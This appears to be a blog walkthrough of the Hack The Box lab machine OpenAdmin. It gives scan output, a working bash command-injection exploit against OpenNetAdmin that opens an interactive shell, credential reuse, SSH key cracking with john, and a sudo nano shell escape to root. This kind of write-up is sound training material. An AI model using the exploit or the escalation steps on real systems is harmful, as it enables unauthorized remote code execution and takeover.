[htb] openadmin


I’ve completed a few boxes on HTB at this point, but it’s been since before the new year that I logged on, and turns out they released a new box. So, I decided to document my process in full. This is the cliffnotes.


enum

As anyone should do when engaging a new target, a general port scan is ran:


nmap -sC -sS -A -Pn -oN scss_scan 10.10.10.171


Results:


# Nmap 7.70 scan initiated Thu Jan 16 01:07:35 2020 as: nmap -sC -sS -A -Pn -oN scss_scan 10.10.10.171

Nmap scan report for 10.10.10.171
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
80/tcp   open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1234/tcp open  http       Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tutorialspoint.com
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
-----------------
OS:SCAN(V=7.70%E=4%D=1/16%OT=80%CT=1%CU=43612%PV=Y%DS=2%DC=T%G=Y%TM=5E1FB7D
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops

TRACEROUTE (using port 993/tcp)


To make life easy, I add a new entry to /etc/hosts so there’s no need to be typing an IP repetitively.


vi /etc/hosts

10.10.10.171      openadmin.htb


Next step, since this is a web based challenge, is to enumerate subdirectories.


dirb http://openadmin.htb
-----------------
DIRB v2.22
By The Dark Raver

START_TIME: Thu Jan 16 01:35:54 2020
URL_BASE: http://openadmin.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://openadmin.htb/ ----

==> DIRECTORY: http://openadmin.htb/artwork/
+ http://openadmin.htb/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://openadmin.htb/music/
+ http://openadmin.htb/server-status (CODE:403|SIZE:278)


At this point, we’ve identified a few interesting things. since server-status returned a 403, we can only move on to music. On this page, we uncover <a href='../ona'>Login</a> – clicked that thinking there’d be a form to test SQLi or something.. Negative, it drops into an admin panel.


Since we know what this admin system is running, a quick search gives a ton of information, including the default path to the login page. Going to your favorite exploit database, it’s easy to find an exploit that targets this system:


URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done


With this handy shell, we’re able to locate credentials under local/config/database_settings.inc.php


Owned jimmy account by way of the previously found credentials


With jimmy’s account, we have access to some areas of the filesystem. This led to locating /var/www/internal.


The next step here was to see what happens by running the following command and receiving the hash as a response:


curl http://127.0.0.1:52846/main.php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610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----


I ended up wasting a bunch of time trying to crack that hash with the wrong tool. At some point I realized, wait, this looks like an SSH key. Pulled out ssh2john, generated a hash, and ran it into john against rockyou.txt. This gave use the password for joanna.


As joanna, cat user.txt, owned user.


Here, this is a case of sudo misconfiguration. Between cat’ing /etc/sudoers.d/joanna and referencing gtfobins, I was able to identify a way to get root.


Still logged in as joanna, I ran nano /opt/priv as /etc/sudoers.d/joanna said no password was necessary, and dropped into a shell with Ctrl+R Ctrl+X, then reset; sh 1>&0 2>&0.


cat /root/root.txt, and owned root. That’s all she wrote.